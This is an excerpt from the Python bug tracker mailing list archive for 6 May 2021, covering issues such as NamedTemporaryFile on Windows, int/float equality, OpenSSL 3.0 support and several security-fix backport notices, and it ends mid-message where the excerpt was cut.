bugs.python.org Thu May 6 06:47:41 2021 From: report at bugs.python.org (=?utf-8?q?Lum=C3=ADr_Balhar?=) Date: Thu, 06 May 2021 10:47:41 +0000 Subject: [issue44055] NamedTemporaryFile opened twice on Windows Message-ID: <1620298061.75.0.605371745552.issue44055@roundup.psfhosted.org> New submission from Lum?r Balhar : Hello. The documentation about tempfile.NamedTemporaryFile[0] contains: That name can be retrieved from the name attribute of the returned file-like object. Whether the name can be used to open the file a second time, while the named temporary file is still open, varies across platforms (it can be so used on Unix; it cannot on Windows NT or later). But after some testing on Windows, it seems that there is no problem in opening a temporary file for the second time. A simple reproducer: from tempfile import NamedTemporaryFile ? # Open the file for the first time tmp_file = NamedTemporaryFile(mode="w+", delete=False) tmp_file.write("foo") tmp_file.seek(0) content_original = tmp_file.read() print("Original content:", content_original) ? # Open the file for the second time with open(tmp_file.name, mode="w+") as file: file.write("bar") file.seek(0) content = file.read() print("Updated content:", content) The output is: Original content: foo Updated content: bar So the question is: do I misunderstand the documentation? Or is there any automatic magic handling this on Windows? I'm not a windows user and I've found this accidentally when preparing a Windows CI job for a project. [0] https://docs.python.org/3/library/tempfile.html?highlight=namedtemporaryfile#tempfile.NamedTemporaryFile ---------- assignee: docs at python components: Documentation, Windows messages: 393082 nosy: docs at python, frenzy, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: NamedTemporaryFile opened twice on Windows versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 07:31:28 2021 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 May 2021 11:31:28 +0000 Subject: [issue44056] Incorrect line number for syntax error. Message-ID: <1620300688.24.0.928024360805.issue44056@roundup.psfhosted.org> New submission from Mark Shannon : Consider this function, which has a syntax error on line 4. >>> def f(): ... try: ... 1/0 ... except: ... pass ... except Exception: ... pass 3.9 reports an incorrect line number of 3. 3.10b reports an even more incorrect line number of -1. Although I've marked this as a "Parser" bug, the offending code is in the compiler. For 3.11, this is fixed by https://github.com/python/cpython/pull/25729 ---------- assignee: Mark.Shannon components: Parser messages: 393083 nosy: Mark.Shannon, lys.nikolaou, pablogsal priority: release blocker severity: normal stage: needs patch status: open title: Incorrect line number for syntax error. type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 07:45:24 2021 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 May 2021 11:45:24 +0000 Subject: [issue44056] Incorrect line number for syntax error. In-Reply-To: <1620300688.24.0.928024360805.issue44056@roundup.psfhosted.org> Message-ID: <1620301524.86.0.106074397809.issue44056@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +24606 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25939 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 07:46:48 2021 From: report at bugs.python.org (Pierre Ossman) Date: Thu, 06 May 2021 11:46:48 +0000 Subject: [issue44052] patch object as argument should be explicit In-Reply-To: <1620283386.4.0.215210268869.issue44052@roundup.psfhosted.org> Message-ID: <1620301608.26.0.636636620696.issue44052@roundup.psfhosted.org> Pierre Ossman added the comment: I've always been cautious about running patch() manually since it was easy to miss the cleanup. But those fears might be irrelevant these days when we have addCleanup(). Still, decorators are a more robust in more complex setups since you don't have to worry about setUp() being properly called in every base class. So I still think this would be interesting. A different function might be an option to avoid adding arguments. Just like there are a few special patch.*() already. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 07:48:19 2021 From: report at bugs.python.org (Erez Zinman) Date: Thu, 06 May 2021 11:48:19 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class Message-ID: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> New submission from Erez Zinman : The following behavior was witnessed in v3.6 & v3.8. When deriving from a Generic base class, there's an inconsistency in the order of operation within the `__new__()` function between the case of deriving WITH generic-argument specification and WITHOUT. It might be best explained in the following example: ``` import typing T = typing.TypeVar('T') class Base(typing.Generic[T]): some_attribute: typing.Any def __init_subclass__(cls, **kwargs): assert hasattr(cls, 'some_attribute') class Class1(Base): # OK some_attribute = 123 class Class2(Base[int]): # AssertionError some_attribute = 123 ``` In this examples, the base class implements `__init_subclass__` to ensure that sublclasses define an attribute. In the case of `Class1`, the class derives without specifying the type-arguments for the class. In that case, the `__init_subclass__` is called after the `some_attribute` is defined. In the second case, however, because I pass the `int` type-argument to the base-class, for some reason `__init_subclass__` is called BEFORE the class' definition. ---------- components: Interpreter Core, Library (Lib) messages: 393085 nosy: erezinman priority: normal severity: normal status: open title: Inconsitencies in `__init_subclass__` in a generic class versions: Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 08:02:00 2021 From: report at bugs.python.org (=?utf-8?q?Bo=C5=A1tjan_Mejak?=) Date: Thu, 06 May 2021 12:02:00 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620302520.24.0.464534078482.issue44054@roundup.psfhosted.org> Bo?tjan Mejak added the comment: I would compare it like this: >>> from decimal import Decimal >>> 2**53 + 1 == Decimal(2**53 + 1) True ---------- nosy: +PedanticHacker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 08:11:24 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 06 May 2021 12:11:24 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class In-Reply-To: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> Message-ID: <1620303084.57.0.44500363173.issue44057@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +gvanrossum, levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 08:40:30 2021 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 06 May 2021 12:40:30 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620304830.27.0.317203471994.issue44054@roundup.psfhosted.org> Mark Dickinson added the comment: > But the way I would have expected this to work is that a comparison of an integer to a float would first convert the integer to a float I have a vague memory that that's the way it *did* work once upon a time, many many decades ago. But an equality comparison between int and float that simply converted the int to a float would break transitivity of equality, leading to issues with containment in sets, dicts and lists. Given n = 2**53 x = 2.**53 if equality comparison worked as you describe you'd have n == x and x == n + 1, so to keep transitivity you'd have to make n == n + 1. In short, the behaviour is very much deliberate. > That's also what the code says. Do you have a pointer? This may be a comment bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 08:49:57 2021 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 06 May 2021 12:49:57 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620305397.81.0.78611834519.issue44054@roundup.psfhosted.org> Mark Dickinson added the comment: > I have a vague memory that that's the way it *did* work once upon a time Here we go: https://bugs.python.org/issue513866 And the corresponding commit, from September 2004: https://github.com/python/cpython/commit/307fa78107c39ffda1eb4ad18201d25650354c4e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 08:51:55 2021 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 06 May 2021 12:51:55 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620305515.74.0.586526660675.issue44054@roundup.psfhosted.org> Mark Dickinson added the comment: Closing here, since this isn't a bug. But I'd still like to understand better what Stefan meant by "That's also what the code says." ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 09:08:54 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 06 May 2021 13:08:54 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620306534.76.0.688198104104.issue37903@roundup.psfhosted.org> Tal Einat added the comment: Upon reading Terry's previous comments here more carefully, it's clear that he will be adding an option to switch between this mode and an alternate mode with prompts on separate lines in the main text widget. The latter will be much more similar to the traditional mode. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 09:14:34 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 13:14:34 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1620306874.68.0.360764891967.issue38820@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24607 pull_request: https://github.com/python/cpython/pull/25942 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:01:42 2021 From: report at bugs.python.org (Ken Jin) Date: Thu, 06 May 2021 14:01:42 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class In-Reply-To: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> Message-ID: <1620309702.59.0.751043416995.issue44057@roundup.psfhosted.org> Ken Jin added the comment: Hi Erez, thank you for the bug report. What minor version of 3.8 are you using exactly? I'm able to reproduce this on 3.6.8, but not on 3.8.5. BTW, Python 3.8 is no longer receiving bugfixes - only security fixes. The only versions still getting bugfixes right now are 3.9.0, 3.10b1, 3.11a1. I'm unable to reproduce this on those 3 versions. So I'm inclined to close this issue as there's not much we can do about it (we can't backport a fix to 3.8). Sorry :(. ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:10:15 2021 From: report at bugs.python.org (Skip Montanaro) Date: Thu, 06 May 2021 14:10:15 +0000 Subject: [issue44058] 'master' refs in 3.10 version of .azure-pipelines Message-ID: <1620310215.23.0.147753243163.issue44058@roundup.psfhosted.org> New submission from Skip Montanaro : Should these references to "master" be changed to "main"? % git co 3.10 Switched to branch '3.10' Your branch is up to date with 'origin/3.10'. % egrep master .azure-pipelines/* .azure-pipelines/ci.yml:trigger: ['master', '3.10', '3.9', '3.8', '3.7'] .azure-pipelines/pr.yml:pr: ['master', '3.10', '3.9', '3.8', '3.7'] ---------- messages: 393092 nosy: skip.montanaro priority: normal severity: normal status: open title: 'master' refs in 3.10 version of .azure-pipelines versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:11:49 2021 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 06 May 2021 14:11:49 +0000 Subject: [issue44017] Deprecation warning in tests over no current event loop In-Reply-To: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org> Message-ID: <1620310309.5.0.550319962461.issue44017@roundup.psfhosted.org> Change by Dong-hee Na : ---------- versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:12:04 2021 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 06 May 2021 14:12:04 +0000 Subject: [issue44017] Deprecation warning in tests over no current event loop In-Reply-To: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org> Message-ID: <1620310324.36.0.238777331961.issue44017@roundup.psfhosted.org> Change by Dong-hee Na : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:13:36 2021 From: report at bugs.python.org (Stefan Behnel) Date: Thu, 06 May 2021 14:13:36 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620310416.4.0.200684487611.issue44054@roundup.psfhosted.org> Stefan Behnel added the comment: > I really don't know why you would desire a different result. I found it surprising that a comparison uses a different method of conversion than the (obvious) user-side conversion, with a different outcome. This seems to be implementation details leaking into the user side. > "That's also what the code says." I wasn't referring to a specific comment. What I meant was that the code in float_richcompare() goes to great length trying to convert the integer to a float in a safe way so that it can compare the two values. https://github.com/python/cpython/blob/985ac016373403e8ad41f8d563c4355ffa8d49ff/Objects/floatobject.c#L403 I now see that it goes the other way at the end, though. If both values have the same order of magnitude, then it actually converts the float to a PyLong instead, thus choosing one of the integer values out of the value range that the float spans and comparing that. That's where the difference originates. > If you want to compare values approximately as floats, you should explicitly convert them to floats. As I wrote, "I'm not sure if I should consider this a bug", because it's an area that we could just define as "out of bounds behaviour" and "user, you're on your own". The net effect is that some integers will never equal a floating point value, even though the floating point value does its very best to represent that integer. I can live with considering the current behaviour "as good as it gets, because there is no right way to do it". Thank you for your comments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:19:43 2021 From: report at bugs.python.org (pavan kumar punna) Date: Thu, 06 May 2021 14:19:43 +0000 Subject: [issue35663] webbrowser.py firefox bug [python3, windows 10] In-Reply-To: <1546664632.95.0.705177998493.issue35663@roundup.psfhosted.org> Message-ID: <1620310783.95.0.0950999366678.issue35663@roundup.psfhosted.org> pavan kumar punna added the comment: Your code is working fine on windows 10 64-bit and returning True as it opens firefox. python-3.9.2. The issue should be closed. ---------- nosy: +punnapavankumar9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:30:21 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 14:30:21 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1620311421.4.0.527819444137.issue38820@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24608 pull_request: https://github.com/python/cpython/pull/25943 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:37:49 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 14:37:49 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1620311869.89.0.398946106594.issue38820@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24609 pull_request: https://github.com/python/cpython/pull/25944 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:44:55 2021 From: report at bugs.python.org (Linus Groh) Date: Thu, 06 May 2021 14:44:55 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module Message-ID: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> New submission from Linus Groh : SerenityOS [1] maintains its own port of Python (currently 3.9.5) [2], with increasingly fewer custom patches. It has its own webbrowser (called "Browser") [3][4], which is the only browser installed by default - as a result, webbrowser.open() currently does not work out of the box. However, register()'ing the browser was straightforward [5]. The goal of this issue is to get that patch into upstream Python. [1] github.com/SerenityOS/serenity [2] https://github.com/SerenityOS/serenity/blob/master/Ports/python3 [3] https://github.com/SerenityOS/serenity/tree/master/Userland/Applications/Browser [4] https://github.com/SerenityOS/serenity/blob/master/Documentation/Browser/ProcessArchitecture.md [5] https://github.com/SerenityOS/serenity/commit/9f970c3459be761c6d1ac192eb494d630b4ca1ed ---------- components: Library (Lib) messages: 393095 nosy: linusg priority: normal severity: normal status: open title: Support SerenityOS Browser in webbrowser module type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:47:21 2021 From: report at bugs.python.org (Erez Zinman) Date: Thu, 06 May 2021 14:47:21 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class In-Reply-To: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> Message-ID: <1620312441.19.0.640047736648.issue44057@roundup.psfhosted.org> Erez Zinman added the comment: You're right. I accidentally used 3.6.9 both times. Thank you anyway. Regardless, that's unfortunate that you don't support the version 3.8 anymore, since many frameworks do not officially support 3.9 as of yet (pytorch, for example). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:50:02 2021 From: report at bugs.python.org (Erez Zinman) Date: Thu, 06 May 2021 14:50:02 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class In-Reply-To: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> Message-ID: <1620312602.7.0.370090775108.issue44057@roundup.psfhosted.org> Erez Zinman added the comment: Also Tensorflow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 10:53:19 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 14:53:19 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1620312799.32.0.197428862118.issue38820@roundup.psfhosted.org> miss-islington added the comment: New changeset f8778f96e8b2864093bc8b283598e82c0dd00133 by Miss Islington (bot) in branch '3.10': bpo-38820: Test with OpenSSL 3.0.0-alpha16 (GH-25942) https://github.com/python/cpython/commit/f8778f96e8b2864093bc8b283598e82c0dd00133 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:02:58 2021 From: report at bugs.python.org (E. Paine) Date: Thu, 06 May 2021 15:02:58 +0000 Subject: [issue23937] IDLE: revise window size, placement startup options In-Reply-To: <1428955532.11.0.740629698052.issue23937@psf.upfronthosting.co.za> Message-ID: <1620313378.52.0.0194881289869.issue23937@roundup.psfhosted.org> Change by E. Paine : ---------- pull_requests: +24610 pull_request: https://github.com/python/cpython/pull/25946 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:06:09 2021 From: report at bugs.python.org (Linus Groh) Date: Thu, 06 May 2021 15:06:09 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module In-Reply-To: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> Message-ID: <1620313569.33.0.409226367185.issue44059@roundup.psfhosted.org> Change by Linus Groh : ---------- keywords: +patch pull_requests: +24611 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25947 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:09:57 2021 From: report at bugs.python.org (Skip Montanaro) Date: Thu, 06 May 2021 15:09:57 +0000 Subject: [issue44060] Define TARGET macro the same even when computed goto support is not enabled Message-ID: <1620313797.79.0.147894206255.issue44060@roundup.psfhosted.org> New submission from Skip Montanaro : When the interpreter is compiled?with computed goto support, the TARGET macro is defined like this: #define TARGET(op) op: TARGET_##op If computed gotos are disabled, the implementation is simpler: #define TARGET(op) op I'm finding it useful to use those labels as gdb breakpoint targets. Is there some reason not to always define the TARGET_##op label? ---------- components: Interpreter Core messages: 393099 nosy: skip.montanaro priority: normal severity: normal status: open title: Define TARGET macro the same even when computed goto support is not enabled type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:31:50 2021 From: report at bugs.python.org (wyz23x2) Date: Thu, 06 May 2021 15:31:50 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620315110.92.0.178331106102.issue41730@roundup.psfhosted.org> wyz23x2 added the comment: When this issue was submitted on September 5, 2020, Python 3.9 was still in beta/rc stages. Now 242 days have passed and the developing of 3.11 has started. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:33:25 2021 From: report at bugs.python.org (wyz23x2) Date: Thu, 06 May 2021 15:33:25 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620315205.64.0.24543735635.issue41730@roundup.psfhosted.org> Change by wyz23x2 : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:40:08 2021 From: report at bugs.python.org (Ulrich Petri) Date: Thu, 06 May 2021 15:40:08 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620315608.52.0.393891101964.issue43176@roundup.psfhosted.org> Ulrich Petri added the comment: Wether the original behaviour was intentional or not this change introduces backwards incompatibility (and in our case, breakage) between 3.8.10 and previous releases (I expect the same to be true for the equivalent 3.9 releases). ---------- nosy: +ulope _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:41:43 2021 From: report at bugs.python.org (Keith Smiley) Date: Thu, 06 May 2021 15:41:43 +0000 Subject: [issue43878] ./configure fails on Apple Silicon with coreutils uname In-Reply-To: <1618636518.04.0.898249551468.issue43878@roundup.psfhosted.org> Message-ID: <1620315703.07.0.241587587075.issue43878@roundup.psfhosted.org> Keith Smiley added the comment: Someone nonchalantly updated these in https://github.com/python/cpython/commit/2fc857a5721a5b42bcb696c9cae1bbcc82a91b17 so this bug is now fixed ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:49:48 2021 From: report at bugs.python.org (Skip Montanaro) Date: Thu, 06 May 2021 15:49:48 +0000 Subject: [issue44060] Define TARGET macro the same even when computed goto support is not enabled In-Reply-To: <1620313797.79.0.147894206255.issue44060@roundup.psfhosted.org> Message-ID: <1620316188.01.0.672577504317.issue44060@roundup.psfhosted.org> Change by Skip Montanaro : ---------- keywords: +patch pull_requests: +24612 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25949 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 11:58:12 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 May 2021 15:58:12 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620316692.31.0.219341579864.issue43176@roundup.psfhosted.org> Eric V. Smith added the comment: Can you provide a small snippet of code showing the kind of thing that broke? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 12:10:34 2021 From: report at bugs.python.org (Tim Peters) Date: Thu, 06 May 2021 16:10:34 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620317434.77.0.580688732771.issue44054@roundup.psfhosted.org> Tim Peters added the comment: [Stefan] > I found it surprising that a comparison uses a different > method of conversion than the (obvious) user-side > conversion, with a different outcome. This seems to be > implementation details leaking into the user side. It's "spirit of 754", though, so any "principled" implementation would do the same. That is, part of the spirit of 754 is to deliver the infinitely price result _when_ the infinitely precise result is representable. So, in particular, > The net effect is that some integers will never equal > a floating point value, even though the floating point > value does its very best to represent that integer. in fact for "almost no" Python ints `i` do i == float(i), because "almost all" unbounded ints `i` lose information when converted to finite-precision float (so with infinite precision they're not equal). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 12:11:19 2021 From: report at bugs.python.org (Douwe Hoekstra) Date: Thu, 06 May 2021 16:11:19 +0000 Subject: [issue34451] docs: tutorial/introduction doesn't mention toggle of prompts In-Reply-To: <1534877418.64.0.56676864532.issue34451@psf.upfronthosting.co.za> Message-ID: <1620317479.32.0.128647254694.issue34451@roundup.psfhosted.org> Douwe Hoekstra added the comment: Hi David! There is a button marked '>>>' in the top right corner of code blocks with Interactive code examples. This toggles between the interaction as it would appear in a terminal and a mode where only the input is listed without the '>>>'. See for example the second block on https://docs.python.org/3/tutorial/introduction.html ---------- nosy: +dhoekstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 12:28:50 2021 From: report at bugs.python.org (Stephen Rosen) Date: Thu, 06 May 2021 16:28:50 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620318530.37.0.209562743083.issue43972@roundup.psfhosted.org> Stephen Rosen added the comment: Thanks for working with me to reproduce and understand the issue. I'm a little surprised that with the sample which sets the protocol version you're still not seeing the issue. If I create a directory tree, e.g. repro ??? foo/ ??? server.py where `server.py` is the sample I gave, and run `server.py`, I find that `curl localhost:8000/foo` hangs. `curl -v` includes a message as part of its output which states that it's waiting for the connection to close. Full verbose output: ``` $ curl localhost:8000/foo -v * Trying 127.0.0.1:8000... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8000 (#0) > GET /foo HTTP/1.1 > Host: localhost:8000 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 301 Moved Permanently < Server: SimpleHTTP/0.6 Python/3.8.5 < Date: Thu, 06 May 2021 15:53:13 GMT < Location: /foo/ * no chunk, no close, no size. Assume close to signal end < ^C ``` This holds over a few python versions: 3.6.12, 3.8.5, and 3.9.1 . That's probably a good enough sample since the relevant code hasn't changed in the stdlib. It's doubtful that the exact version of curl matters for this. I can also see the issue with Firefox opening `localhost:8000/foo`. It hangs without processing the redirect. Running the sample I gave, you're seeing curl exit cleanly? I wonder, with verbose output, maybe there's some useful message that will tell us why it's exiting. Does it not print the message, "no chunk, no close, no size. Assume close to signal end" ? > Note: the existing behavior is 10+ year old and don't want to introduce changes if it is not a bug. I completely understand this stance. I believe it is a bug, but that it's rare enough that hasn't been filed or resolved, in spite of its age. Some browsers (e.g. Chrome) process redirects without waiting for a payload, so they would mask the issue. Plus, it only shows up when the protocol_version is set. I had a script at work with this issue for over a year without anyone running into the hangs. A coworker who prefers Firefox noticed the issue only recently, and I traced that back to this behavior. So even in my case, I didn't stumble across this issue until we'd been using the same test script with the bug in it for a long time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 12:52:46 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 16:52:46 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620319966.22.0.0216142144492.issue43882@roundup.psfhosted.org> Ned Deily added the comment: New changeset f4dac7ec55477a6c5d965e594e74bd6bda786903 by Miss Islington (bot) in branch '3.7': [3.7] bpo-43882 - urllib.parse should sanitize urls containing ASCII newline and tabs. (GH-25923) https://github.com/python/cpython/commit/f4dac7ec55477a6c5d965e594e74bd6bda786903 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 12:56:09 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 16:56:09 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620320168.99.0.865061941121.issue43882@roundup.psfhosted.org> Ned Deily added the comment: New changeset 6c472d3a1d334d4eeb4a25eba7bf3b01611bf667 by Miss Islington (bot) in branch '3.6': [3.6] bpo-43882 - urllib.parse should sanitize urls containing ASCII newline and tabs (GH-25924) https://github.com/python/cpython/commit/6c472d3a1d334d4eeb4a25eba7bf3b01611bf667 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:00:15 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:00:15 +0000 Subject: [issue43075] ReDoS in urllib.request In-Reply-To: <1611994306.46.0.333529770265.issue43075@roundup.psfhosted.org> Message-ID: <1620320415.26.0.933853772192.issue43075@roundup.psfhosted.org> Ned Deily added the comment: New changeset 3fbe96123aeb66664fa547a8f6022efa2dc8788f by Miss Islington (bot) in branch '3.6': bpo-43075: Fix ReDoS in urllib AbstractBasicAuthHandler (GH-24391) (GH-25250) https://github.com/python/cpython/commit/3fbe96123aeb66664fa547a8f6022efa2dc8788f ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:00:47 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:00:47 +0000 Subject: [issue43075] ReDoS in urllib.request In-Reply-To: <1611994306.46.0.333529770265.issue43075@roundup.psfhosted.org> Message-ID: <1620320447.93.0.508247920718.issue43075@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:05:53 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:05:53 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620320753.89.0.172392041997.issue44022@roundup.psfhosted.org> Ned Deily added the comment: New changeset f68d2d69f1da56c2aea1293ecf93ab69a6010ad7 by Miss Islington (bot) in branch '3.6': bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25935) https://github.com/python/cpython/commit/f68d2d69f1da56c2aea1293ecf93ab69a6010ad7 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:06:35 2021 From: report at bugs.python.org (Eryk Sun) Date: Thu, 06 May 2021 17:06:35 +0000 Subject: [issue44055] NamedTemporaryFile opened twice on Windows In-Reply-To: <1620298061.75.0.605371745552.issue44055@roundup.psfhosted.org> Message-ID: <1620320795.43.0.534475014562.issue44055@roundup.psfhosted.org> Eryk Sun added the comment: Your example uses delete=False. In Windows, the provision about reopening the file while it's open applies to delete=True. With the latter, the file is opened with the O_TEMPORARY flag. At the OS level, this flag modifies the CreateFileW() call as follows: dwDesiredAccess |= DELETE; dwShareMode |= FILE_SHARE_DELETE; dwFlagsAndAttributes |= FILE_FLAG_DELETE_ON_CLOSE; Because the open has delete access, which it shares, it can be opened again only if the open shares delete access. An open that 